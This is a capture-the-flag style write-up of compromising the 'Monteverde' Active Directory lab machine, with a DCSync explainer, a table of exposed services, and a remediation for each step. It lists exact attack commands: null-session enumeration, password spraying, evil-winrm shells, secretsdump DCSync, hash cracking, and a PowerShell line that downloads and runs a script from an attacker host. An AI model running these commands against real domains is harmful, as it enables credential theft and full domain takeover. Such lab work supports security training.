Monteverde
Summary
The MEGABANK.LOCAL domain controller (MONTEVERDE, $TARGET) was fully compromised through a chain of four misconfigurations requiring no exploitation of unpatched software. Unauthenticated LDAP and SMB null sessions handed over the complete domain user list without credentials. A spray of those usernames against themselves as passwords cracked the [REDACTED: recovered credential] service account in seconds.
That account had read access to a company-wide SMB share (users$) holding a PowerShell CliXML credential file left over from an Azure AD Connect deployment — decoding it revealed the cleartext password for mhope. A WinRM shell as mhope yielded the user flag. Mhope's membership in the Azure Admins group granted read access to the local Azure AD Connect synchronization database, from which the MSOL service account's credentials were recovered.
That account holds DCSync rights over the domain; a replication request extracted the domain Administrator's NT hash, which was cracked to recover the plaintext password. A WinRM session as domain Administrator captured the root flag — complete domain compromise, from zero credentials to full Domain Admin, with no vulnerability beyond configuration choices.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,5985,9389 $TARGET -oN monteverde_ports.txtnxc smb $TARGETExact commands 3
nxc ldap $TARGET -u '' -p '' --usersnxc smb $TARGET -u 'guest' -p '' --sharesrpcclient -U "" -N $TARGET -c enumdomusersFixDisable anonymous and null-session access to LDAP and SMBHigh
Exact commands 1
nxc smb $TARGET -d MEGABANK.LOCAL -u users.txt -p users.txt --no-bruteforce --continue-on-successFixEnforce a password policy that blocks usernames and predictable patterns as passwordsCritical
Exact commands 4
nxc smb $TARGET -d MEGABANK.LOCAL -u $PASSWORD -p $PASSWORD --sharessmbclient //$TARGET/users$ -U "MEGABANK.LOCAL\$PASSWORD%$PASSWORD" -c 'recurse ON; prompt OFF; mget *'file mhope/azure.xmliconv -f UTF-16LE -t UTF-8 mhope/azure.xmlFixRestrict the users$ share to owner-only access and purge embedded credential filesCritical
Exact commands 3
nxc winrm $TARGET -d MEGABANK.LOCAL -u mhope -p '$PASSWORD2'evil-winrm -i $TARGET -u mhope -p '$PASSWORD2'Get-Content C:\Users\mhope\Desktop\user.txtExact commands 4
whoami /allGet-Service ADSyncpython3 -m http.server 80IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/AdDecrypt.ps1")FixIsolate Azure AD Connect on a dedicated server and restrict ADSync database accessCritical
Exact commands 2
impacket-secretsdump "MEGABANK.LOCAL/MSOL_<id>:<msol_password>@$TARGET" -just-dc-user Administratorhashcat -m 1000 admin_hash.txt /usr/share/wordlists/rockyou.txtFixRevoke unnecessary DCSync rights and alert on replication requests from non-DC hostsCritical
Exact commands 3
nxc winrm $TARGET -d MEGABANK.LOCAL -u administrator -p '$PASSWORD3'evil-winrm -i $TARGET -u administrator -p '$PASSWORD3'Get-Content C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-09 07:01:34Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49666/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49696/tcp | unknown recon-sweep-discovered |